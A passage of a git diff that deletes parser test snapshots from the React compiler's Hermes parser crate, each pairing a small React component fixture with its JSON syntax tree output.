-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            123,
-                            128
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            129,
-                            130
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          123,
-                          130
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            134,
-                            139
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            140,
-                            141
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          134,
-                          141
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        123,
-                        141
-                      ]
-                    },
-                    "alternate": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          154,
-                          159
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "e",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          160,
-                          161
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        154,
-                        161
-                      ]
-                    },
-                    "consequent": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          149
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          150,
-                          151
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        144,
-                        151
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      123,
-                      161
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    112,
-                    172
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  108,
-                  172
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              102,
-              173
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  183,
-                  184
-                ]
-              },
-              "alternate": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  191,
-                  195
-                ]
-              },
-              "consequent": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  187,
-                  188
-                ]
-              },
-              "loc": null,
-              "range": [
-                183,
-                195
-              ]
-            },
-            "loc": null,
-            "range": [
-              176,
-              196
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          24,
-          198
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        198
-      ],
-      "loc": null,
-      "range": [
-        0,
-        198
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    198
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@timers.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@timers.js.snap
deleted file mode 100644
index 54358e4128f1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@timers.js.snap
+++ /dev/null
@@ -1,417 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/timers.js
----
-Input:
-function Component(props) {
-  const start = performance.now();
-  const now = Date.now();
-  const time = performance.now() - start;
-  return (
-    <div>
-      rendering took {time} at {now}
-    </div>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "start",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "performance",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        44,
-                        55
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "now",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        59
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      44,
-                      59
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    44,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              62
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "now",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    74
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "Date",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        77,
-                        81
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "now",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        82,
-                        85
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      77,
-                      85
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    77,
-                    87
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  87
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              88
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "time",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    97,
-                    101
-                  ]
-                },
-                "init": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "performance",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          104,
-                          115
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "now",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          119
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        104,
-                        119
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      104,
-                      121
-                    ]
-                  },
-                  "operator": "-",
-                  "right": {
-                    "type": "Identifier",
-                    "name": "start",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      124,
-                      129
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    104,
-                    129
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  97,
-                  129
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              91,
-              130
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    147,
-                    150
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  146,
-                  151
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      rendering took ",
-                  "raw": "\n      rendering took ",
-                  "loc": null,
-                  "range": [
-                    151,
-                    173
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "time",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      174,
-                      178
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    173,
-                    179
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": " at ",
-                  "raw": " at ",
-                  "loc": null,
-                  "range": [
-                    179,
-                    183
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "now",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      184,
-                      187
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    183,
-                    188
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    188,
-                    193
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    195,
-                    198
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  193,
-                  199
-                ]
-              },
-              "loc": null,
-              "range": [
-                146,
-                199
-              ]
-            },
-            "loc": null,
-            "range": [
-              133,
-              204
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          206
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        206
-      ],
-      "loc": null,
-      "range": [
-        0,
-        206
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    206
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@todo-function-expression-captures-value-later-frozen.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@todo-function-expression-captures-value-later-frozen.js.snap
deleted file mode 100644
index efc41d42f5dc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@todo-function-expression-captures-value-later-frozen.js.snap
+++ /dev/null
@@ -1,496 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/todo-function-expression-captures-value-later-frozen.js
----
-Input:
-function Component(props) {
-  let x = {};
-  // onChange should be inferred as immutable, because the value
-  // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
-    maybeMutate(x, e.target.value);
-  };
-  if (props.cond) {
-    <div>{x}</div>;
-  }
-  // ideally this call would be outside the memoization block for `x`
-  onChange();
-  return <Foo value={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    187,
-                    195
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        199,
-                        200
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "maybeMutate",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              211,
-                              222
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                223,
-                                224
-                              ]
-                            },
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "e",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    226,
-                                    227
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "target",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    228,
-                                    234
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  226,
-                                  234
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "value",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  235,
-                                  240
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                226,
-                                240
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            211,
-                            241
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          211,
-                          242
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      205,
-                      246
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    198,
-                    246
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    198,
-                    246
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  187,
-                  246
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              181,
-              247
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  254,
-                  259
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  260,
-                  264
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                254,
-                264
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          273,
-                          276
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        272,
-                        277
-                      ]
-                    },
-                    "children": [
-                      {
-                        "type": "JSXExpressionContainer",
-                        "expression": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            278,
-                            279
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          277,
-                          280
-                        ]
-                      }
-                    ],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          282,
-                          285
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        280,
-                        286
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      272,
-                      286
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    272,
-                    287
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                266,
-                291
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              250,
-              291
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "onChange",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  364,
-                  372
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                364,
-                374
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              364,
-              375
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    386,
-                    389
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        390,
-                        395
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          397,
-                          398
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        396,
-                        399
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      390,
-                      399
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  385,
-                  402
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                385,
-                402
-              ]
-            },
-            "loc": null,
-            "range": [
-              378,
-              403
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          405
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        405
-      ],
-      "loc": null,
-      "range": [
-        0,
-        405
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    405
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@todo.unnecessary-lambda-memoization.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@todo.unnecessary-lambda-memoization.js.snap
deleted file mode 100644
index 9b61fa2afaa2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@todo.unnecessary-lambda-memoization.js.snap
+++ /dev/null
@@ -1,382 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/todo.unnecessary-lambda-memoization.js
----
-Input:
-function Component(props) {
-  const data = useFreeze(); // assume this returns {items: Array<{...}>}
-  // In this call `data` and `data.items` have a read effect *and* the lambda itself
-  // is readonly (it doesn't capture ony mutable references). Further, we ca
-  // theoretically determine that the lambda doesn't need to be memoized, since
-  // data.items is an Array and Array.prototype.map does not capture its input (callback)
-  // in the return value.
-  // An observation is that even without knowing the exact type of `data`, if we know
-  // that it is a plain, readonly javascript object, then we can infer that any `.map()`
-  // calls *must* be Array.prototype.map (or else they are a runtime error), since no
-  // other builtin has a .map() function.
-  const items = data.items.map((item) => <Item item={item} />);
-  return <div>{items}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "data",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFreeze",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      52
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    43,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              55
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    770,
-                    775
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "data",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          778,
-                          782
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "items",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          783,
-                          788
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        778,
-                        788
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "map",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        789,
-                        792
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      778,
-                      792
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [
-                        {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            794,
-                            798
-                          ]
-                        }
-                      ],
-                      "body": {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "Item",
-                            "loc": null,
-                            "range": [
-                              804,
-                              808
-                            ]
-                          },
-                          "attributes": [
-                            {
-                              "type": "JSXAttribute",
-                              "name": {
-                                "type": "JSXIdentifier",
-                                "name": "item",
-                                "loc": null,
-                                "range": [
-                                  809,
-                                  813
-                                ]
-                              },
-                              "value": {
-                                "type": "JSXExpressionContainer",
-                                "expression": {
-                                  "type": "Identifier",
-                                  "name": "item",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    815,
-                                    819
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  814,
-                                  820
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                809,
-                                820
-                              ]
-                            }
-                          ],
-                          "selfClosing": true,
-                          "loc": null,
-                          "range": [
-                            803,
-                            823
-                          ]
-                        },
-                        "children": [],
-                        "closingElement": null,
-                        "loc": null,
-                        "range": [
-                          803,
-                          823
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        793,
-                        823
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        793,
-                        823
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    778,
-                    824
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  770,
-                  824
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              764,
-              825
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    836,
-                    839
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  835,
-                  840
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      841,
-                      846
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    840,
-                    847
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    849,
-                    852
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  847,
-                  853
-                ]
-              },
-              "loc": null,
-              "range": [
-                835,
-                853
-              ]
-            },
-            "loc": null,
-            "range": [
-              828,
-              854
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          856
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        856
-      ],
-      "loc": null,
-      "range": [
-        0,
-        856
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    856
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@transitive-alias-fields.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@transitive-alias-fields.js.snap
deleted file mode 100644
index 14aa4226d36f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@transitive-alias-fields.js.snap
+++ /dev/null
@@ -1,468 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/transitive-alias-fields.js
----
-Input:
-function component() {
-  let x = {};
-  let p = {};
-  let q = {};
-  let y = {};
-
-  x.y = y;
-  p.y = x.y;
-  q.y = p.y;
-
-  mutate(q);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              36
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    47,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "q",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    61,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              64
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    75,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              67,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    84,
-                    85
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  82,
-                  85
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  88,
-                  89
-                ]
-              },
